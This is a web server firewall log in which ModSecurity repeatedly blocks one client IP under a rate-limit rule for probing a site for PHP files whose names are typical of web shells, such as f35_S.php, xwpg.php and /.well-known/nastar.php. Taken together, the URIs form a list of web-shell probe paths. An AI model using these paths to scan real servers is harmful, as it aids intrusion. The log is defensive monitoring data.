[Mon Apr 20 21:38:04.260060 2026] [:error] [pid 11351:tid 11405] [client 74.248.131.114:25531] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeYsPAN8Z1-vktaI_tMPrgAAAFI"]
[Mon Apr 20 21:38:04.777232 2026] [:error] [pid 11441:tid 11443] [client 74.248.131.114:23637] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aeYsPMixByFUvmh319CmigAAAMA"]
[Mon Apr 20 21:38:05.329998 2026] [:error] [pid 11351:tid 11389] [client 74.248.131.114:25528] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeYsPQN8Z1-vktaI_tMPrwAAAEI"]
[Mon Apr 20 21:38:05.847819 2026] [:error] [pid 11350:tid 11377] [client 74.248.131.114:25504] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeYsPf4EoMBgOJuJnT3GtwAAABI"]
[Mon Apr 20 21:38:06.384344 2026] [:error] [pid 6928:tid 6945] [client 74.248.131.114:24245] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeYsPh3y7MHq1iB0qYq5lAAAAU8"]
[Mon Apr 20 21:38:06.919405 2026] [:error] [pid 11351:tid 11407] [client 74.248.131.114:25557] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/9.php"] [unique_id "aeYsPgN8Z1-vktaI_tMPsQAAAFQ"]
[Mon Apr 20 21:38:07.444834 2026] [:error] [pid 11351:tid 11398] [client 74.248.131.114:25486] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeYsPwN8Z1-vktaI_tMPswAAAEs"]
[Mon Apr 20 21:38:07.999827 2026] [:error] [pid 11351:tid 11395] [client 74.248.131.114:25550] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeYsPwN8Z1-vktaI_tMPtAAAAEg"]
[Mon Apr 20 21:38:08.523978 2026] [:error] [pid 11494:tid 11512] [client 74.248.131.114:24289] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeYsQMgko5iFiE8YoyTsgAAAAZA"]
[Mon Apr 20 21:38:09.143936 2026] [:error] [pid 11441:tid 11453] [client 74.248.131.114:25479] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10.php"] [unique_id "aeYsQcixByFUvmh319CmjgAAAMo"]
[Mon Apr 20 21:38:09.710556 2026] [:error] [pid 6928:tid 6942] [client 74.248.131.114:24284] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeYsQR3y7MHq1iB0qYq5lgAAAUw"]
[Mon Apr 20 21:38:10.257492 2026] [:error] [pid 11494:tid 11501] [client 74.248.131.114:25518] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeYsQsgko5iFiE8YoyTsggAAAYU"]
[Mon Apr 20 21:38:10.823683 2026] [:error] [pid 11351:tid 11402] [client 74.248.131.114:24232] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeYsQgN8Z1-vktaI_tMPtwAAAE8"]
[Mon Apr 20 21:38:11.383052 2026] [:error] [pid 6928:tid 6934] [client 74.248.131.114:24316] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/100.php"] [unique_id "aeYsQx3y7MHq1iB0qYq5lwAAAUQ"]
[Mon Apr 20 21:38:11.923832 2026] [:error] [pid 6928:tid 6949] [client 74.248.131.114:24869] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeYsQx3y7MHq1iB0qYq5mAAAAVM"]
[Mon Apr 20 21:38:12.718394 2026] [:error] [pid 11441:tid 11446] [client 74.248.131.114:24258] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeYsRMixByFUvmh319CmkAAAAMM"]
[Mon Apr 20 21:38:13.463219 2026] [:error] [pid 11351:tid 11400] [client 74.248.131.114:24888] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeYsRQN8Z1-vktaI_tMPvAAAAE0"]
[Mon Apr 20 21:38:14.059679 2026] [:error] [pid 6928:tid 6952] [client 74.248.131.114:23035] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/nastar.php"] [unique_id "aeYsRh3y7MHq1iB0qYq5nAAAAVY"]
[Mon Apr 20 21:38:14.611563 2026] [:error] [pid 11441:tid 11460] [client 74.248.131.114:24307] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeYsRsixByFUvmh319CmlQAAANE"]
[Mon Apr 20 21:38:15.361683 2026] [:error] [pid 11351:tid 11391] [client 74.248.131.114:23625] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeYsRwN8Z1-vktaI_tMPvQAAAEQ"]
[Mon Apr 20 21:38:15.927897 2026] [:error] [pid 11494:tid 11514] [client 74.248.131.114:24897] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeYsR8gko5iFiE8YoyTsigAAAZI"]
[Mon Apr 20 21:38:16.699312 2026] [:error] [pid 11441:tid 11445] [client 74.248.131.114:25553] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35_S.php"] [unique_id "aeYsSMixByFUvmh319CmmAAAAMI"]
[Mon Apr 20 21:38:17.243086 2026] [:error] [pid 42014:tid 42040] [client 74.248.131.114:25533] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeYsScek-00-ZI0f1NqGOQAAARg"]
[Mon Apr 20 21:38:17.988068 2026] [:error] [pid 11441:tid 11451] [client 74.248.131.114:25477] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeYsScixByFUvmh319CmmgAAAMg"]
[Mon Apr 20 21:38:18.602601 2026] [:error] [pid 11441:tid 11453] [client 74.248.131.114:24879] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeYsSsixByFUvmh319CmnAAAAMo"]
[Mon Apr 20 21:38:19.126463 2026] [:error] [pid 11441:tid 11456] [client 74.248.131.114:25500] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2026w.php"] [unique_id "aeYsS8ixByFUvmh319CmnQAAAM0"]
[Mon Apr 20 21:38:19.638049 2026] [:error] [pid 11351:tid 11408] [client 74.248.131.114:24916] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeYsSwN8Z1-vktaI_tMPvwAAAFU"]
[Mon Apr 20 21:38:20.205016 2026] [:error] [pid 11441:tid 11450] [client 74.248.131.114:24287] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeYsTMixByFUvmh319CmnwAAAMc"]
[Mon Apr 20 21:38:20.773039 2026] [:error] [pid 11350:tid 11370] [client 74.248.131.114:25589] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeYsTP4EoMBgOJuJnT3GxQAAAAs"]
[Mon Apr 20 21:38:21.289871 2026] [:error] [pid 11441:tid 11460] [client 74.248.131.114:24901] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/111.php"] [unique_id "aeYsTcixByFUvmh319CmoQAAANE"]
[Mon Apr 20 21:38:21.813118 2026] [:error] [pid 11494:tid 11509] [client 74.248.131.114:24914] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeYsTcgko5iFiE8YoyTsjgAAAY0"]
[Mon Apr 20 21:38:22.373940 2026] [:error] [pid 11441:tid 11457] [client 74.248.131.114:24281] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeYsTsixByFUvmh319CmowAAAM4"]
[Mon Apr 20 21:38:22.910020 2026] [:error] [pid 11441:tid 11455] [client 74.248.131.114:23628] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeYsTsixByFUvmh319CmpQAAAMw"]
[Mon Apr 20 21:38:23.427334 2026] [:error] [pid 11494:tid 11511] [client 74.248.131.114:24215] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp1.php"] [unique_id "aeYsT8gko5iFiE8YoyTskAAAAY8"]
[Mon Apr 20 21:38:23.968181 2026] [:error] [pid 11350:tid 11375] [client 74.248.131.114:24935] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeYsT_4EoMBgOJuJnT3GyAAAABA"]
[Mon Apr 20 21:38:24.633216 2026] [:error] [pid 11350:tid 11360] [client 74.248.131.114:24868] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeYsUP4EoMBgOJuJnT3GywAAAAE"]
[Mon Apr 20 21:38:25.397814 2026] [:error] [pid 11350:tid 11359] [client 74.248.131.114:23616] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeYsUf4EoMBgOJuJnT3G0AAAAAA"]
[Mon Apr 20 21:38:25.926455 2026] [:error] [pid 11350:tid 11378] [client 74.248.131.114:25498] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aligk.php"] [unique_id "aeYsUf4EoMBgOJuJnT3G0wAAABM"]
[Mon Apr 20 21:38:26.470054 2026] [:error] [pid 11351:tid 11393] [client 74.248.131.114:24909] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYsUgN8Z1-vktaI_tMPwgAAAEY"]
[Mon Apr 20 21:38:26.989070 2026] [:error] [pid 11441:tid 11464] [client 74.248.131.114:24261] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYsUsixByFUvmh319CmqAAAANU"]
[Mon Apr 20 21:38:27.512312 2026] [:error] [pid 11351:tid 11404] [client 74.248.131.114:24906] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYsUwN8Z1-vktaI_tMPxgAAAFE"]
[Mon Apr 20 21:38:28.028058 2026] [:error] [pid 11350:tid 11382] [client 74.248.131.114:24947] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/byrgo.php"] [unique_id "aeYsVP4EoMBgOJuJnT3G1wAAABc"]
[Mon Apr 20 21:38:28.625732 2026] [:error] [pid 11494:tid 11499] [client 74.248.131.114:24311] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeYsVMgko5iFiE8YoyTslAAAAYM"]
[Mon Apr 20 21:38:29.244265 2026] [:error] [pid 11351:tid 11396] [client 74.248.131.114:24229] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeYsVQN8Z1-vktaI_tMPyQAAAEk"]
[Mon Apr 20 21:38:29.784872 2026] [:error] [pid 11352:tid 11418] [client 74.248.131.114:24318] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeYsVWl10mhMSfJ7ir_dBQAAAIQ"]
[Mon Apr 20 21:38:30.485052 2026] [:error] [pid 11352:tid 11429] [client 74.248.131.114:24225] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwpg.php"] [unique_id "aeYsVml10mhMSfJ7ir_dCQAAAI8"]
[Mon Apr 20 21:38:31.008725 2026] [:error] [pid 6928:tid 6948] [client 74.248.131.114:22940] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeYsVx3y7MHq1iB0qYq5pwAAAVI"]
[Mon Apr 20 21:38:31.534450 2026] [:error] [pid 42014:tid 42037] [client 74.248.131.114:25568] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeYsV8ek-00-ZI0f1NqGQgAAARU"]
[Mon Apr 20 21:38:32.098991 2026] [:error] [pid 42014:tid 42031] [client 74.248.131.114:24202] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeYsWMek-00-ZI0f1NqGRAAAAQ8"]
[Mon Apr 20 21:38:32.670302 2026] [:error] [pid 11350:tid 11375] [client 74.248.131.114:23559] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "aeYsWP4EoMBgOJuJnT3G3QAAABA"]
[Mon Apr 20 21:38:33.264824 2026] [:error] [pid 11494:tid 11512] [client 74.248.131.114:26163] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeYsWcgko5iFiE8YoyTslwAAAZA"]
[Mon Apr 20 21:38:33.922143 2026] [:error] [pid 11351:tid 11397] [client 74.248.131.114:26148] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeYsWQN8Z1-vktaI_tMPzAAAAEo"]
[Mon Apr 20 21:38:34.489820 2026] [:error] [pid 11350:tid 11369] [client 74.248.131.114:24832] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeYsWv4EoMBgOJuJnT3G4QAAAAo"]
[Mon Apr 20 21:38:35.017588 2026] [:error] [pid 11350:tid 11361] [client 74.248.131.114:25556] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aeYsW_4EoMBgOJuJnT3G4gAAAAI"]
[Mon Apr 20 21:38:35.541251 2026] [:error] [pid 11494:tid 11511] [client 74.248.131.114:25505] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeYsW8gko5iFiE8YoyTsnAAAAY8"]
[Mon Apr 20 21:38:36.064533 2026] [:error] [pid 11350:tid 11383] [client 74.248.131.114:23641] [client 74.248.131.114] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no18.php"] [unique_id "aeYsXP4EoMBgOJuJnT3G5gAAABg"]
